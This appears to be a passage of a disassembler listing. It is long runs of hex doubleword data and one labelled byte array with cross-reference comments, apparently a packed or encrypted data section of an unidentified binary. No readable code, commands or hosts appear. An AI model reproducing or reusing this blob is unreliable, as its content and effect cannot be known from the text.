0F89657A9h dd 0B44A02C5h, 0F7B78519h, 2249E441h, 77B1C950h, 88CFF000h dd 0F00E357h, 3336B354h, 626173h, 0AD7CC502h, 0F9E66F92h dd 4BE5FF00h, 3DD5A27Ah, 0FD0F286Dh, 43B202B4h, 2F2B3CAFh dd 0CAA5BCE0h, 0C1DD880Eh, 1FF90041h, 3F8C105Bh, 0DF87C235h dd 0B09C49FCh, 0AF33BA81h, 18160F01h, 1BEF62ACh, 0EB92CF4h dd 49CC503Ah, 0C4CDD020h, 4700D82Fh, 66A5E97Eh, 48F68B5Ah dd 0EC07689Fh, 8012DB4Ch, 0BC10E545h, 9DE4602h, 41D1F2C3h dd 16C961F0h, 495EF9ECh, 2E00E855h, 2452B1E3h, 2491B3E5h dd 0E2D80E3Fh, 71D87848h, 6840495Fh, 7B026B8Fh, 2F40D4A5h dd 742EDEF2h, 1500F412h, 3CB31EF3h, 84C40040h, 6FBFDF57h dd 807544E5h, 14AF48h, 2411D792h, 7206C89h, 580CDDD0h dd 97F8C0C5h, 9E5059A5h, 0A22512C8h, 0BF24A5ADh, 24A074C4h dd 0F4E4001Fh, 0FFEAEC7Eh, 52EC0298h, 8C7786A3h, 5C248375h dd 0B58274B9h, 68F14B5Bh, 25C820h, 206D80D7h, 0D626A097h dd 0E1EB3900h, 1059FE3Fh, 0C5DF0092h, 0F8ECA352h, 82003281h dd 0F7626B2Eh, 0E0D3A9BEh, 55B80280h, 8E482CF4h, 7A0F08E0h dd 0C813077Eh, 35006288h, 0D9A22D89h, 2E300773h, 40FB82DAh dd 23AB5759h, 0A527AA01h, 0B133B62Dh, 31B8C8h, 1C0F387Bh dd 0FCAC70ABh, 0B7C01361h, 872C0D5h, 9CE15100h, 0A5F859A2h dd 507C0100h, 9A0B2B02h, 0B38F486Ch, 413A8B00h, 65982035h dd 9E007892h, 79A710E3h, 2EADF39h, 89D20A28h, 0D08770A2h dd 4EA0605Ah, 970B3BAEh, 4087D339h, 260AA994h, 2850F57Ch dd 63CE26B8h, 0CB110043h, 0AD148D6h, 0C99CB004h, 0D0C0659Ah dd 4CD331EEh, 0E6078632h, 0AB3E0D77h, 0FADB9C21h, 1788A674h dd 60DC3D0Fh, 60132CFEh, 20C90D6h, 43EB407Bh, 3860DEF0h dd 180F9ED8h, 803A3BC3h, 346DFF80h, 14BB1D1Ah, 32B7448Dh dd 17F080BCh, 0AA0B4183h, 1037B123h, 12FCAFF8h, 4973A91h dd 809E551Ah, 499C5EDh, 1E0DCA3Eh, 8D09D15Ch, 424C45Eh dd 0B4534813h, 4D3C80ACh, 8D1DC0BBh, 2D001FC9h, 222040AAh dd 764F012Eh, 3C5C17F8h, 9909DC16h, 9066D600h, 11449E96h dd 0DB5D005Bh, 0AEC9FB2Fh, 0DD045E1Bh, 0BC4C7D50h, 6E0C50C0h dd 0B08083F2h, 0E4592549h, 941F0E98h, 7230E0BEh, 34F4FAh dd 8A0C3C4Fh, 277EDA2Dh, 1D56330Eh, 0A0F08F87h, 43C9F3B4h dd 0A6B076h, 0AE1694B2h, 70617E40h, 0E8C4211Fh, 5E3DB740h dd 8AE928h, 0BB3113FBh, 917CCC4Ah, 8FEE2701h, 0F7A57E80h dd 58D458EEh, 3EC948C9h, 65F8FC63h, 1A445308h, 12AC0C64h dd 0BB111C45h, 0C60322EAh, 2D1E1D8Dh, 0A2DD81DEh, 705C003Ch dd 0E7254B00h, 908CB951h, 28DB1E00h, 636B0275h, 4C94A06Ah dd 0E50F1F74h, 137AC02Eh, 0F6DAE761h, 1201597Fh, 57896FACh dd 984074A3h, 1D98385Fh, 44702751h, 0C0057B3Fh, 0BEE61974h dd 9CF9C000h, 0B324A5A3h, 0E0B20B39h, 0CC00A6B7h, 0AC8305C5h dd 49A0DA09h, 323C00EBh, 9D33FDDh, 122DFD4Ah, 2E00F5F0h dd 315AC87Bh, 22AFC8Dh, 60D2DBD7h, 84C849EFh, 691E74C9h dd 6F05BB40h, 0FE80C536h, 0C09DC243h, 4475A809h, 5D00483Bh dd 0E635EA33h, 480DF229h, 0F7397CEFh, 4D93A07h, 0F4852FE3h dd 0BB8480B0h, 0C007925Bh, 0AC5CE74h, 0E8C33D54h, 5F1DB88Ch dd 0CB410986h, 1894D64Ah, 7F1E9113h, 13C460E1h, 0D7E8009Ah dd 4FD51D03h, 4D00E555h, 98DE06EFh, 19219Fh, 14FAB4B8h dd 0EACC9BA1h, 2937250Ah, 0E805E424h, 3C808655h, 0B4BCFE5Dh dd 9A51240h, 38A12110h, 0E57C15E2h, 0F21180D1h, 4CE0F684h dd 0D4B60480h, 97FAC0B3h, 7BA41074h, 27005A5Bh, 2CFD9F6Fh dd 3DCF8CBCh, 0FA76EDh, 6C01A37Ch, 63EA816Ah, 5E32FDF2h dd 63D47838h, 0B9F280FAh, 0D7BF0F29h, 18C02112h, 9D422036h dd 0E7CB4600h, 0A7D03C23h, 5BB12EC4h, 870E3870h, 5EE0EC2Ah dd 9565F60Eh, 0E6DBAA00h, 69F464A5h, 0E8946006h, 732B7A1Ch dd 350076F8h, 2E77AB81h, 3A3B23Ah, 927E9E24h, 29F04721h dd 4E5C45AFh, 529D0042h, 5493A263h, 9EA00465h, 81AE5A1Bh dd 60CB169Ch, 9D25E148h, 0CD1838B0h, 4CBA0062h, 1F3085AFh dd 0A00055E6h, 0CC23299Ah, 7FDCDE48h, 0B6310135h, 49C1C88Dh dd 0AE4305Ah, 0F4A3C328h, 0FEE67770h, 893BA89Eh, 30BA87E6h dd 3323A30Ch, 5A203489h, 6D0EC9Bh, 21169E4Ch, 24C3DA67h dd 0E9E4A881h, 161F06Bh, 4165D017h, 0D4ED0F3Ch, 0D8968DF3h dd 3FC80D06h, 0FD800011h, 0FCBD4ECFh, 7B099CCBh, 0A0FA8BEFh dd 43F92328h, 0BC5C1294h, 0ECD4446Bh, 7E44904Eh, 9B048134h dd 0AC7442B6h, 2CA92090h, 5A9D00D2h, 0CFC4600Ah, 4E0068E9h dd 3CB52A26h, 35CA829h, 95F0E8A5h, 3B801D18h, 0C00C844h dd 336BBD1Fh, 0B85CC3B9h, 7DA307F4h, 0E0377906h, 7176B849h dd 0E0DFC601h, 0F141800Eh, 0F00181D7h, 55A47424h, 94349CB1h dd 0FF84001Ch, 46CEFAC1h, 713CF90h, 482293DEh, 0BFF60218h dd 0EEE43E0h, 0F0907AE4h, 1507900Bh, 0BA82073h, 13418F24h dd 0AC2AF8h, 0DA62F6E8h, 9E0481BDh, 0B6371DA0h, 7CA18C1h dd 3C3A9CF8h, 430071C7h, 0AA17A32Ch, 55008BEDh, 978FE391h dd 26B71C29h, 2068C2DFh, 0CF9400C4h, 0FE1DA90h, 631FE67Dh dd 6E811A1Fh, 0B144A2C2h, 0A5CFC0h, 280BB3AAh, 0D8547E2Ah dd 0F6074FEAh, 0E9C68B6Bh, 5D323BF0h, 4E2B034h, 22AF5F4Ah dd 8780C524h, 0AECAD22Ch, 0F549F083h, 0EFFD3100h, 0F2FE45B8h dd 1E4218C2h, 0F62908F3h, 0C7BBC300h, 0B56AB2DDh, 72AB0166h dd 70C56E8Dh, 5910C877h, 8262841Fh, 82AD7409h, 0E0DB3B80h dd 0E71653Bh, 60BE7B17h, 0DA410053h, 63DE7DC1h, 6A1C75F4h dd 8E00295Dh, 6CB15247h, 0BB00043h, 39AD9B22h, 4A62F128h dd 601AEB6Eh, 12F0A3h, 8A82F973h, 4A433ABh, 85FB9500h dd 6F80BE6Ch, 1A5C0211h, 0F7A9AC9Ch, 25FFF0AAh, 528CA021h dd 5D1980D3h, 1284E0CCh, 44ECE099h, 3090D9B6h, 0BE013E02h dd 4B342FBBh, 0A48DA888h, 1A250E6Ah, 6660C3E2h, 438EF028h dd 9B4BD05h, 448382C4h, 9AC839Fh, 0BB6EA458h, 8A5F1400h dd 66070725h, 0D32888F7h, 291F80F9h, 0BBDCBh, 9A473F9Ch dd 0FCEAC620h, 7A64D972h, 4683B390h, 0F0491DE5h, 0A458400Bh dd 952E57A2h, 39A14364h, 49BB50C8h, 2D00C831h, 0A02CCE3h dd 552EA2A5h, 0A1001F58h, 480FA903h, 0E29C0B5h, 0B1801331h dd 5DC168B4h, 0CFD1A159h, 0EC7FD420h, 0ECF7004Fh, 2161FB47h dd 3600C528h, 0DF075354h, 0A010601Bh, 1ACBDEh, 6CFFD0C8h dd 7655690Eh, 0FDB93C16h, 0A5189A03h, 0D26EC0D4h, 0EB7F018Bh dd 0F77DD33h, 0F0B820E7h, 0FC4FAB5Ah, 877B6072h, 69F120h dd 86502434h, 0A796022Eh dd 62AFEF00h, 6FCE1760h, 0B4490040h, 0EB714752h, 20ED13B3h dd 0BF00EC38h, 0FFB872A4h, 7D174CE8h, 57440405h, 0C01ED0E5h dd 20A72BA0h, 0B6348500h, 0AF3F8D1Fh, 880B59Ah, 9F073E88h dd 13A28900h, 0FCA38F6Dh, 967565h, 265A71F7h, 551942EBh dd 0A2569307h, 0A64091F3h, 6F8DFFh, 4283F9B0h, 0FD924EB7h dd 0DDFAAE16h, 89C42C1Ch, 28A3AF4Dh, 23FFB607h, 0EA5AF05Fh dd 0B07C6778h, 0ABAEDF0Eh, 417D0030h, 0C0E255A3h, 7A571031h dd 0D0092BEBh, 80F4B579h, 4042D956h, 88500087h, 27AE1D9Bh dd 0FD1C3DB7h, 0F3121646h, 0DD3C1A00h, 0C967EEh, 0EDC7C334h dd 0DA51F9A1h, 0CA912604h, 10800E6Dh, 579647h, 3F80FC4Bh dd 58900962h, 0CA9FAD00h, 501DAEDEh, 2672F6h, 8EEBBAB2h dd 444E47Ah, 0FC1F3BE5h, 72656AC0h, 24340269h, 3F8FA1D5h dd 42809F3Bh, 66101336h, 0D203987Ch, 0BBB0BFD8h, 525AD0A2h dd 42394FE4h, 2AEA19E8h, 0FEA878E0h, 98E05F01h, 0C0CCFCFFh dd 7E85460h, 0DF843F33h, 0D52520D6h, 7B006996h, 66721607h dd 0A888Eh, 0BBFA7C19h, 684AA92Bh, 80562725h, 11D74DA4h dd 3E7C0BEEh, 982941E9h, 0D40004A9h, 683F667h, 94D09200h dd 0D175A75Bh, 0C020D2F4h, 0E8D82440h, 90FAC305h, 0BCD0568Ch dd 0EA0EDDDBh, 0A219003Fh, 70595B51h, 0BA021B7Fh, 0AC75FE12h dd 605087h, 0E1EF5C95h, 7E2E6ED9h, 4D1E1490h, 60654683h dd 88719908h, 97886A5Bh, 8B81874h, 26AB7012h, 109F8A0Bh dd 85C4005Fh, 0F445C2E4h, 2B4B00Ah, 0ABED3EA0h, 0FCC06D9Ch dd 0F2404E5Bh, 0D1AF0070h, 2CBB2F63h, 0D024BF79h, 0E10084C6h dd 4133E2C0h, 153200C5h, 67880D08h, 0EA012B61h, 4CE13FDCh dd 3AECF0E3h, 0ED7F00B8h, 76E77C78h, 0C0077E9h, 0C9056AA5h dd 98F2A953h, 3EE50068h, 0A6389245h, 5D006CFEh, 7BA47647h dd 7D01AF63h, 9ADE00F5h, 0D92317B6h, 83002479h, 589FA162h dd 86F578h, 363BBF0h, 64B92543h, 0B474200h, 0E97FA21Bh dd 75EA4Fh, 8BAFD3E2h, 47C4BBAEh, 8C680528h, 27C88800h dd 822578E4h, 16CE03FCh, 0D6602D41h, 73AEB990h, 0D36EEB00h dd 0EDF88367h, 8ADC1E43h, 0C830C955h, 8625F180h, 0B80081A5h dd 5211CE97h, 9F78A7h, 0DCAD0215h, 0CC163B4Dh, 92B87C01h dd 877AEF35h, 44CC8C21h, 0A0DB0020h, 96E0EE3Ah, 6917E553h dd 7C801D6Eh, 176B42Ah, 6B641EF1h, 0F03CEF82h, 6812DBCEh dd 0F422D03Bh, 847060DEh, 0F2210054h, 86D7F6Bh, 552446BAh dd 4F9260B2h, 59501D09h, 2690876Ch, 420ABB1h, 64F2F865h dd 0F05D31C0h, 0E53993Ch, 0C4BF38DDh, 21A6B3E0h, 0C016E3Bh dd 0DE8F988Bh, 48F04277h, 0FC789895h, 0E39405ACh, 0F45DCFB2h dd 44926F34h, 0E1461604h, 4145EBA6h, 1724D078h, 0C53A049Fh dd 4D04701Ah, 9DC14ABBh, 8DD37490h, 0F6E613C9h, 807C5CC5h dd 855671E1h, 30070EBAh, 27BC2D1Fh, 7B59C271h, 0C0F3EDC8h dd 59712C8h, 0D9C065F1h, 2FA5EF5Ah, 0A3605B0h, 800149C9h dd 0F2B1DA14h, 46B2950Eh, 9409A0F7h, 14CF6DFh, 157A418Bh dd 20BAF323h, 807565Ch, 0B1A83796h, 1C798720h, 3F741720h dd 0DF20C17Bh, 11A8984Bh, 4B81B2B8h, 0D88532h, 643D5FF4h dd 1E001F83h, 9A78D786h, 743D6D2h, 662865F6h, 77AEA152h dd 0E06C38FCh, 2E17FD6h, 4D5640E5h, 5D00A3B6h, 0C8E18h dd 22940857h, 0EF970961h, 5F00B6B8h, 0EA2D46A7h, 78C3C7AAh dd 12E9019h, 0E97EA6DAh, 2D74C162h, 0DE780270h, 40A86675h dd 2E679AE2h, 38EC1DDFh, 8018C7A4h, 0E3BD3970h, 26059DA8h dd 0AD4C8AB9h, 0C303D040h, 588224C6h, 37EF705h, 0BAAF1AD8h dd 95A0F92Dh, 0C05E8998h, 211E1803h, 0DA07F89Eh, 0F9FA0022h dd 9ABA2A49h, 14B04733h, 0A900CE7Eh, 7E835C7Ah, 71C9A172h dd 513501A8h, 0B064FC4Ch, 0D45A6006h, 0AE451D00h, 0E613684Bh dd 2D0E2E26h, 8F6100B4h, 4FD3544Dh, 3B62EA3Ah, 0E9D59C72h dd 97FC6740h, 622A1h, 0F61E920Bh, 533FA6B1h, 0CA123E1Eh dd 72444500h, 0B8A947h, 8DC6A311h, 0C728E25Ch, 4F70D248h dd 40001C12h, 0FEE07E1Ah, 1B72000Dh, 22DCB3Ch, 90014B0Ch dd 8B686CEBh, 0E1F47A1Eh, 63E901F2h, 6BC1AF0h, 8970608Ch dd 4D5038h, 2AD038Eh, 3CF786Ah, 0F3F1D6DCh, 4098369Bh dd 64009A85h, 0E5AA7084h, 0B35A58Ah, 2489B8F4h, 1DA8FD5h dd 4CB75EA1h, 1CEC30h, 0C4CA45D3h, 9D6949C8h, 0C344Ch dd 0AA028F01h, 0F82005h, 0A3B2FD57h, 46F13145h, 5ED0C0A3h dd 7C03D7A7h, 8877670Dh, 0D0A1E0CBh, 1B011C9Eh, 0B4694052h dd 0CA80FB4Bh, 2E7B100h, 48460675h, 0E19500F8h, 0D0873067h dd 20C2CB6Fh, 0E06D9845h, 72BBE0h, 0C9AFBC40h, 9ED86238h dd 796890Fh, 0F501B2B4h, 135457A6h, 1F8336D8h, 0D6CF844Ah dd 8CFCCCh, 0D97774C3h, 0A99606h, 504D2583h, 87FD464Ah dd 5B5D1E00h, 36CF348Ch, 0E4203DBEh, 53E6B303h, 3FF8CB23h dd 9C3AB50Bh, 0A18B80BBh, 2238B773h, 0A08F0064h, 800C6B53h dd 0D403C671h, 0AA1CBAE1h, 618EA037h, 784E7F85h, 90804ADCh dd 3A4FB138h, 0DD4DBC0Bh, 0B07A2Ah, 0DA678B7Bh, 8D265BB0h dd 46DEFB01h, 0BC449B6Ch, 1F99CA20h, 5C63A50Eh, 6F7700B2h dd 0B021E4CEh, 36416502h, 0C0A18630h, 14813284h, 93FC43FAh dd 0B0E4D427h, 899D5F40h, 7FE90174h, 9411208Fh, 78854B8Fh dd 7CD8ACF6h, 0A4B1081Eh, 0C07E76Ch, 1040983Bh, 97DCD84h dd 75383CAEh, 3709C0F8h, 0F927C5FEh, 807481B4h, 0F0CE3095h dd 89C0B0DEh, 561F8498h, 503D600Dh, 8693A35h, 721CE650h dd 8C95C92Ah, 0B04D1333h, 55A0020Eh, 0C6729210h, 0E3071080h dd 850114F5h, 0DF7F0D44h, 0BF0EBCBh, 0C22A00E7h, 0C4B8F67Eh dd 0BD03834Fh, 0F0E48891h, 0D42CE866h, 0ABF20154h, 0B8363F1Ah dd 6885DCE7h, 7CEC7100h, 0E0935206h, 458C1F0Eh, 9815401Bh dd 91A3AABAh, 4ACC1D07h, 0D98CB143h, 0F440030h, 0CB6EAF6h dd 3C3C9ED3h, 21A5B08Dh, 685B0A6h, 94B5243Eh, 0CF18C03Fh dd 0F92198E0h, 0BE070E17h, 0BA802826h, 1E3A835Eh, 883D0400h dd 0CEAC0E90h, 9A230071h, 0D817B044h, 8303CF06h, 243AFFE8h dd 0A919D0B2h, 9074300Ah, 0BC2EA659h, 5D06B700h, 0F6C7C087h dd 0EF6C0072h, 33587E8Eh, 1D00E4FEh, 0BD17AA95h, 78750CE1h dd 0EB18007Fh, 0F099F516h, 81620E8Bh, 0A0F790A9h, 232402D4h dd 7100C28h, 0A12180B0h, 0D1D3A309h, 0DA27808Ch, 0C85B10Eh dd 7D49DB5Eh, 0EF008938h, 0FD028723h, 94E73Eh, 0A680B5Bh dd 994BE02Ch, 7167AB1Eh, 0D6078F9Dh, 35F72D34h, 0FCBC3D0h dd 0ACF80Ch, 769110B6h, 75189B33h, 481080E9h, 0EF7D4FCDh dd 452D0717h, 462CFFE6h, 0A948217Fh, 2784C06h, 8988BA90h dd 0D76C0B3h, 0D9DE58A4h, 138D7500h, 910A3551h, 1D386860h dd 1C4C7E2h, 7CAC784Ch, 8C347447h, 5835E8B0h, 5CF03E68h dd 73188230h, 0DF0FACFDh, 0CC8F2025h, 0CF6C03Dh, 0EDBB890h dd 89013059h, 8299CC2Eh, 18EF404Ch, 2090DC09h, 2E02A0D0h dd 0FFC3991Bh, 0F0888CF8h, 60D37543h, 73DD1040h, 905B277h dd 0FA498CC5h, 23581AC0h, 0CC1600C8h, 8FF2BA3Fh, 6D033D54h dd 9351F5E9h, 0CADFC0FEh, 76310033h, 8B9D8A7h, 0C33DD036h dd 2098EBDh, 0E64040BFh, 5B20DBh, 7AB00867h, 65C5F19h dd 8A817507h, 0E280E89Fh dd 7C121DFBh, 201C6066h, 8D3CC4Bh, 90CED06h, 618C59Dh dd 0E6AC0642h, 7C00295Ah, 6556D90Eh, 376280BDh, 6D08BCDDh dd 0D9B6C821h, 35486B00h, 7141AC9Eh, 45C61C79h, 33568787h dd 4EE3C03Ch, 99C01DFDh, 5946371Ch, 602B03E4h, 0E829B48Bh dd 6D5EC2E0h, 2917FE30h, 0B09B577Ch, 884A06D6h, 8A29AFAh dd 205E7230h, 719B6F5Bh, 79370022h, 38BE92E1h, 901784Eh dd 701C6AE7h, 0F18007C4h, 7515B3A6h, 20CA99Fh, 86185E9h dd 0C721C001h, 90B415ABh, 0AAAE600h, 0F6B5D96Bh, 5B44301Ah dd 5122B3B9h, 9C29C616h, 157700EAh, 95E053AAh, 0D21FCF06h dd 75C8C56Bh, 2DC3315Fh, 0D81EA1D8h, 393CBD4Ch, 0CC7C7EE0h dd 3E8AAC00h, 255030B0h, 7AF90083h, 552FEE32h, 110015FDh dd 0CA8AD93Fh, 1472A0Dh, 0F8256278h, 802B1C99h, 0F0DF7328h dd 424AF7h, 0A39A5503h, 23882637h, 3EAFEE07h, 7316306Fh dd 0C7D80058h, 85625F2Fh, 591DF8E1h, 4830966Ch, 0C85832h dd 21698AD3h, 35787F30h, 6A3EE20Eh, 554680F9h, 7DFF834h dd 24842C91h, 0B489C36Bh, 0F00294A1h, 837CF381h, 8F387E26h dd 8564C903h, 29683AADh, 9C23C001h, 5163742Dh, 58D4B48h dd 0DFFA5290h, 614A6071h, 0EC449406h, 0AF6CFC0Dh, 0E4C8A9C5h dd 0F4C403B7h, 0EDD01A61h, 98F21807h, 3E338859h, 1B5EA0AAh dd 0EF67057Ah, 4176CBBBh, 0DEA7FAACh, 0D360803Ah, 0EBBD5685h dd 453B3F22h, 1193EA00h, 95A289B4h, 0C6E1E600h, 0A80791DEh dd 0A5BC0E28h, 0E9A0ABB0h, 24D4CB6h, 488ECB0Eh, 75809CD9h dd 8350BADBh, 21030F8Ch, 0B0017F0Fh, 0F4C16184h, 0B400EEF5h dd 0B6F2D6A6h, 2D84D39h, 7F78C0FAh, 0D64020B8h, 0B91C0FF3h dd 3C40E627h, 474FC7AEh, 0DDC50F4Dh, 9280AA4Ch, 7AD5A614h dd 0E4EB6300h, 0D8B99AD0h, 0DB77004Fh, 27B5DDC9h, 743FDAFBh dd 0D6CC0073h, 52D0572Bh, 987B44h, 0D1AEE72Dh, 0D3FDDAF8h dd 0CEFEE00Fh, 99B42192h, 0C0C1FBDCh, 0E9D7DDD4h, 5C0562F8h dd 0F6012042h, 9D4F859Eh, 0F1FBFC94h, 0AC29C164h, 12B2EB21h dd 0D135111Bh, 10580296h, 0F788B898h, 87C6889Bh, 5D088489h dd 42C33CA1h, 70114414h, 50848B08h, 62F03C5Fh, 0FF1CA189h dd 24AAB622h, 8EBC21ABh, 1E082991h, 0E8C0518Bh, 5AF64995h dd 0ED93068Ch, 9339F4Bh, 4CF89C0Bh, 5CB58316h, 654298A7h dd 7A180FAFh, 78A0B14Bh, 3D61B856h, 71008C78h, 0D38904E4h dd 0DBA341h, 0D2075308h, 0FF15645Dh, 7360BE00h, 790BE995h dd 6D080EB2h, 809DFCC9h, 0CA7D9AC4h, 2DEA32ADh, 0E9D58400h dd 0B304BCE5h, 0F9A30095h, 5B035672h, 9000B3Eh, 2E6A8FD0h dd 1333C5h, 86550515h, 5304E981h, 8227290Fh, 3996064h dd 176A0D3h, 0E22F262h, 0D07E2FE0h, 94003DB8h, 315930F8h dd 3B49942h, 45D64804h, 81D80574h, 8C00A358h, 225E64DAh dd 62492Fh, 9AE3F002h, 38C963DCh, 112F603h, 0D803C808h dd 653FE7h, 0AFD4823Ah, 0FE90CB51h, 698EF801h, 4FCC07Dh dd 793AC02Bh, 2200CC8Fh, 0FB826B1Bh, 6244D3Ch, 7C278659h dd 7100295Fh, 0D2992F64h, 4C76DFEBh, 570FA9A9h, 3700DEF4h dd 99068F55h, 308D30F5h, 5007774h, 6D1D1FAEh, 5F5484h dd 5076AA7Fh, 42E24ED6h, 21000174h, 0DD67BB13h, 7C8DF88h dd 16295B0Ah, 2DEDB049h, 600E2E9h, 0CE825DB2h, 131B4Dh dd 0B88594AAh, 0A26EF53Fh, 7C1F2A00h, 38E3C044h, 8ADB620Bh dd 1EC265CCh, 0F67C80D7h, 3C87F7D9h, 0B5A40D60h, 0D07600C0h dd 947517B3h, 0EE61C200h, 2A28C193h, 0FCC30740h, 5090929Dh dd 0F538A3A4h, 39C4151Dh, 2D101903h db 27h byte_520045 db 99h, 0B6h, 7 ; DATA XREF: ___:00437A28o ; ___:00437A40o dd 0F88046E8h, 17F6F2h, 3BB3DD68h, 0BE834230h, 7E516900h dd 0CF736DEFh, 0EB0E3FCDh, 21717Fh, 41E46F5Fh, 438489B8h dd 0A5BFB100h, 8F923B40h, 2C5602F4h, 62E5CA68h, 0DDAB0040h dd 94A11700h, 0CBDBC05Dh, 0B56700BEh, 0E43586EBh, 0C744DC4h dd 0F97BE200h, 94C586Ch, 38783EB9h, 99772800h, 83EAE051h dd 0F65BE300h, 4AB14D5Eh, 8CDA0018h, 749EFDFh, 6B00FBF4h dd 0B480B30Dh, 1E1EDE5Eh, 2B90B8h, 3AD9DF95h, 0C9124425h dd 0DF00C548h, 3D5F79DBh, 0A7F46Ah, 2D3C8472h, 8B89B9BAh dd 1A2A5400h, 0BB3B95E3h, 0E7A2008Fh, 6B4656D8h, 810057BCh dd 0F31CB1A8h, 1D6A5h, 0E437CC78h, 0E9E5F6F2h, 0E6CAAE00h dd 41D9BA1Bh, 0F43A5042h, 0E19E001Eh, 5655CB08h, 5D00E96Bh dd 4FED9243h, 1EB22h, 5ABBD2Dh, 42AE46A4h, 211C381Eh, 20DBBF8Eh dd 3E8C932Bh, 0F84B0F86h, 3D63EF1Fh, 388072BBh, 7B1D08B8h dd 0A7404954h, 2E093599h, 0DB180089h, 878365EDh, 2F003CAAh dd 0E254F2Dh, 4803B5h, 476E08DAh, 7C6013EBh, 0F05FBE00h dd 730B89A1h, 49CF009Dh, 6CD4A271h, 8DD699Fh, 8BD56741h dd 0E0FAFE9Eh, 0CD252Ch, 0BF1BAF5Ch, 0DAE8E55Eh, 0AC5A5500h dd 0ABAE5302h, 7A7503BDh, 96E1A301h, 0D3071803h, 0B8AF64D2h dd 75A48Eh, 0E93FB539h, 0F02F9D61h, 0E4418F03h, 90468AE1h dd 9F6252h, 0D348C66Eh, 4F91E319h, 812B3A07h, 0F440C823h dd 333D8DFh, 0E8E0DD04h, 2800D1BBh, 0CEF796A4h, 730DFF8Bh dd 6DD400CFh, 4EF04582h, 4A005177h, 0FA1FA0A1h, 2F5EB54h dd 175DD421h, 0DC0A207h, 0E83C4ACDh, 0B00FDAEh, 2F9AB246h dd 0E40F4D33h, 0DC2D0E08h, 1D814560h, 80CD8ED5h, 7BAD4E04h dd 7E0E90h, 64F7B5BDh, 0EFA4F802h, 72871600h, 67C7D44h dd 0AD5D484Dh, 0B8584B00h, 0C2707321h, 37C89150h, 825B6800h dd 9855AAA3h, 5AA90541h, 1D17A49Dh, 5F640395h, 76C0239Eh dd 0EF009C99h, 269493DCh, 0F2969DD5h, 8D9201D3h, 0B2EAE2D2h dd 0F2C850F5h, 0C1073A77h, 4319AA82h, 50A4CEB0h, 387200D5h dd 0D882DDCh, 410046A2h, 0FC0C644Dh, 385C8110h, 1B00694Eh dd 0A99CFA8Bh, 0D600AE7Fh, 64CE4793h, 0D86E3Dh, 0CA18F3B0h dd 955E6C75h, 0F11FA11Dh, 160E740h, 0CF4628h, 5499D79Fh dd 9B6D0591h, 0F4D8FA50h, 8370FD3Eh, 6980B1F8h, 0E5BEF879h dd 7C4500E2h, 9C5FD081h, 3005B0Fh, 0EFED67Fh, 5E3BC0h dd 46374F64h, 80CA4E7Eh, 0B7E29000h, 0CBA9672Ah, 1BFF08Ah dd 106370B5h, 0C0506E66h, 0D9009AF6h, 0BD0E75C8h, 0A77433h dd 0E5CE9C8Dh, 913A0F5Fh, 62EC2706h, 28CA08h, 0AD82F1FFh dd 833BD867h, 0D3E88800h, 0AE7DF6FAh, 0E33D00ECh, 0C9F102E9h dd 2D034F49h, 639ADAA1h, 52948075h, 9B7900A7h, 70BCAD53h dd 0B5064DAFh, 0C9863839h, 88000E8h, 0A9103748h, 3100559Ch dd 5838B4CAh, 0DAD827h, 0C80C461Eh, 5C808B77h, 37C34A0Fh dd 1AD1A601h, 513B0724h, 10E4F086h, 0B7F67C32h, 0D313AD00h dd 87313F12h, 9C0A04E9h, 8084EC7Dh, 4E5D2CA0h, 71FBF03h dd 0A0BAB278h, 22A92E3h, 0CC63C55Bh, 82407AFCh, 2C26546Ch dd 1304E521h, 0ACD4C8E7h, 160BDB00h, 0E51271h, 0CCCBFA89h dd 0DCED62B0h, 0B687C400h, 8E5EE36Ch, 9343006Fh, 32CE8525h dd 7107CA36h, 0A6AF1CE2h, 111D4C60h, 0C7CF2891h, 0BE1F0088h dd 0B0578C5Bh, 51008E59h, 88C410AFh, 1BF6D15h, 0F86CC5ECh dd 0D0772005h, 0C707511Ch, 0EB53E8BEh, 0ED3EE630h, 5C21006Dh dd 9C1CB57Dh, 8B00E430h, 0DEE5D981h, 15FFD84h, 0C0384A8Eh dd 502ADA20h, 718F6EBCh, 9B8C8800h, 0B77CF639h, 0C6EE0092h dd 2F9743BDh, 4C0F2CB6h, 743D9823h, 38B58184h, 0DC8779DAh dd 80D6452Bh, 58AF8AEFh, 85D12600h, 0CB4B3E1h, 0CCF9168Eh dd 24640208h, 0FC4093BFh, 0F7006433h, 0F17E3E45h, 27D358Bh dd 0DB889126h, 607D9954h, 0B279292h, 0B095DA0Bh, 0E8008954h dd 0A291E19Ah, 701600C9h, 0E6A6CE98h, 0FD48C28Eh, 0D52077FCh dd 0C01D003Eh, 6FD3F0AEh, 76003F45h, 1ABE7448h, 9AFE4A24h dd 932A00A0h, 0C79E33D6h, 2730014Bh, 6C4218D2h, 2D7012BDh dd 0B17401F6h, 0C469819Fh, 0E6094878h, 80535C39h, 0D715AF6Fh dd 89D8C059h, 0EE881851h, 7E4A14Dh, 9E42F6C6h, 8E4C6980h dd 9A5A02AFh, 0F3FEA3B9h, 43B42860h, 0C61FEB00h, 809F3EA4h dd 8CBA002Bh, 996A72BFh, 0CA002119h, 4826442Ah, 3EAA40h dd 6DA132E3h, 0BE4987C3h, 52987500h, 436BABBBh, 10B72FBh dd 0F6EE1CADh, 0E4884426h, 0CC0072EDh, 9CBCECC6h, 5E77BE3h dd 0B3784340h, 8918D088h, 0BC30DD74h, 3FAC09A9h, 63348DCh dd 1846D00h, 0F9CCE3C9h, 0CED9C005h, 0B903BF13h, 0C01CC530h dd 57B1210h, 0D68876AEh, 2B64C8D8h, 0D318C51Ch, 0D9E75D05h dd 9576C900h, 15DF9473h, 0B098B8D0h, 0C1681909h, 67A58C00h dd 7CB87DDCh, 961B0100h, 8D1170A8h, 32EEFAh, 1F0D07B1h dd 0FC222162h, 68000B79h, 0A58D099Fh, 2D65114h, 0FF8EC472h dd 77C02F74h, 9D0E2EDBh, 80C0F259h, 5B80C391h, 3E0A2A63h dd 0D1ED04A4h, 0C0DCB395h, 58B0C108h, 0FDFEF815h, 59F504A8h dd 0D747A53Fh, 9B5442EBh, 1AD88F00h, 0E09D3D91h, 0E1928200h dd 81A5754Bh, 56C409C0h, 7B1C74h, 982E83EEh, 51367CA0h dd 3771D800h, 3E7ED652h, 0B59C0587h, 10B834h, 65220EA8h dd 0B717397Dh, 2C006689h, 32DD562Fh, 0A6CD0FB9h, 0AE40BA16h dd 0C79AA302h, 427C840Fh, 0F31420BDh, 80D2055Bh, 3601CB65h dd 18404BA1h, 1AFC46A6h, 0BADAF606h, 6CC60058h, 29254DECh dd 59F609B9h, 0E17DC8A2h, 49809EF2h, 0BE0B0761h, 4D487C02h dd 